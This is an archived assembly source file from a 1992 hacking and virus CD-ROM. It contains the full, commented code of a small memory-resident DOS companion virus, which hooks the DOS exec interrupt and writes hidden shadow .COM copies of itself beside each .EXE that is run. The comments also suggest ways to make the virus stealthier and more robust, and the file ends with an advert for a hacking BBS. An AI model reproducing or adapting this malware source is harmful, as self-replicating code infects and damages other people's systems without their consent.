home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HACK-83.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  5KB  |  93 lines

  1. tic             segment
  2.                 org     100h
  3.                 assume  cs:tic, ds:tic, es:tic
  4. ;
  5. len     equ     offset int21-100h       ;LENGTH OF VIRUS CODE
  6. ;
  7. ;THE FOLLOWING CODE MAKES THE VIRUS GO RESIDENT. TO KEEP THE INFECTION
  8. ;CODE AS SHORT AS POSSIBLE, THE INT 21 VECTOR (4 BYTES) IS SAVED OUTSIDE
  9. ;THE VIRUS BODY. THIS MAY OCCASIONALLY CAUSE THE VECTOR TO BE OVERWRITTEN
  10. ;BY THE ENVIRONMENT, WHICH WILL CRASH THE SYSTEM. TO PREVENT THIS, DEFINE
  11. ;TWO WORDS FOR THE LABEL INT21 AND ADD FOUR BYTES TO THE RESIDENT CODE.
  12. ;THE FIRST TIME THAT AN "INFECTED" FILE IS RUN, IT WILL SIMPLY RETURN TO
  13. ;DOS. THIS IS BECAUSE THE RESIDENT CODE MUST FIRST BE LOADED. AFTER THAT
  14. ;EVERYTHING WILL APPEAR TO WORK NORMALLY. TO REMEDY THIS PROBLEM, ALTER
  15. ;THE MEMORY CONTROL BLOCK TO TRAP THE RESIDENT CODE, THEN JUMP TO IT. A
  16. ;STILL BETTER SOLUTION IS TO COPY THE VIRUS TO THE TOP OF MEMORY AND
  17. ;TRAP IT THERE. ALSO, DO NOT REVECTOR INTERRUPT BUT OVERWRITE THE
  18. ;ENTRY POINT WITH A FAR JUMP TO THE VIRUS AND THEN RESTORE IT. THESE
  19. ;TECHNIQUES WILL MAKE A BETTER, THOUGH LONGER VIRUS.
  20. ;
  21. start:          mov     ax,3521h                ;GET INT 21 VECTOR
  22.                 int     21h
  23.                 mov     di,offset int21
  24.                 mov     [di],bx                 ;SAVE IT
  25.                 mov     [di+2],es
  26.                 mov     dx,offset infect
  27.                 mov     ah,25h
  28.                 int     21h                     ;REVECTOR TO VIRUS
  29.                 mov     dx,di
  30.                 int     27h                     ;GO RESIDENT
  31. ;
  32. ;THIS IS THE ACTUAL INFECTION CODE. IT CHECKS FOR THE EXEC FUNCTION THEN
  33. ;TRIES TO RUN THE PROCESS AS AN EXE. IF THIS FAILS, THE VIRUS KNOWS THAT
  34. ;IT REALLY WAS A COM PROGRAM, IN WHICH CASE IT SIMPLY LETS THE CALL GO
  35. ;THROUGH. OTHERWISE A SHADOW COM FILE IS (RE)CREATED, "INFECTING" THE
  36. ;EXE. THE HIDDEN ATTRIBUTE IS SET ON THE SHADOW FILE. TO KEEP THESE FILES
  37. ;VISIBLE, SET CX TO 0 INSTEAD OF 2.
  38. ;NOTE: UNDER DOS 5.0, REGISTERS ES AND DS ARE SAME WHEN THE EXEC CALL
  39. ;IS ISSUED. SETTING ES TO DS IS ONLY NECESSARY TO MAKE THE VIRUS RUN UNDER
  40. ;DOS 3.X. OTHERWISE YOU CAN ELIMINATE THESE INSTRUCTIOS, BRINGING THE VIRUS
  41. ;BACK TO JUST 79 BYTES.
  42. ;
  43. infect:         cmp     ax,4b00h                ;EXEC?
  44.                 jne     interrupt               ;IF NOT, CONTINUE INTERRUPT
  45.                 push    ax                      ;KEEP FUNCTION CALL
  46.                 push    es                      ;KEEP ES
  47.                 push    ds                      ;SET ES TO DS
  48.                 pop     es
  49.                 mov     di,dx                   ;SCAN TO EXT
  50.                 mov     al,'.'
  51.                 repne   scasb
  52.                 push    di                      ;POINTER TO EXT
  53.                 mov     ax,'XE'                 ;TRY TO RUN AS .EXE
  54.                 stosw
  55.                 stosb
  56.                 pop     di                      ;RETREIVE POINTER TO EXT
  57.                 pop     es                      ;RESTORE ES FOR EXEC
  58.                 pop     ax                      ;GET FUNCTION
  59.                 push    ax                      ;KEEP IT
  60.                 push    dx                      ;KEEP POINTER TO PROCESS NAME
  61.                 pushf                           ;DO INTERRUPT
  62.                 push    cs
  63.                 call    interrupt
  64.                 mov     ax,'OC'                 ;CHANGE EXT TO COM
  65.                 stosw
  66.                 mov     al,'M'
  67.                 stosb
  68.                 pop     dx                      ;CLEAR STACK
  69.                 pop     ax
  70.                 jc      interrupt               ;WASN'T .EXE SO JUST CONTINUE
  71.                 mov     cx,2
  72.                 mov     ah,3ch                  ;CREATE SHADOW .COM FILE
  73.                 int     21h
  74.                 xchg    bx,ax                   ;GET HANDLE
  75.                 push    cs                      ;WRITE VIRUS TO .COM FILE
  76.                 pop     ds                      ;SEGMENT OF VIRUS CODE
  77.                 mov     cl,len
  78.                 mov     dx,si                   ;=0100 HEX
  79.                 mov     ah,40h                  ;WRITE VIRUS AND EXIT
  80. ;
  81. interrupt:
  82.         db      0eah                            ;FAR JUMP
  83. int21:                                          ;VECTOR GOES HERE
  84. ;
  85. tic             ends
  86.                 end     start
  87. 
  88. ; ─────────────────────────────────────────────────────────────────────────
  89. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  90. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  91. ; ─────────────────────────────────────────────────────────────────────────
  92.  
  93.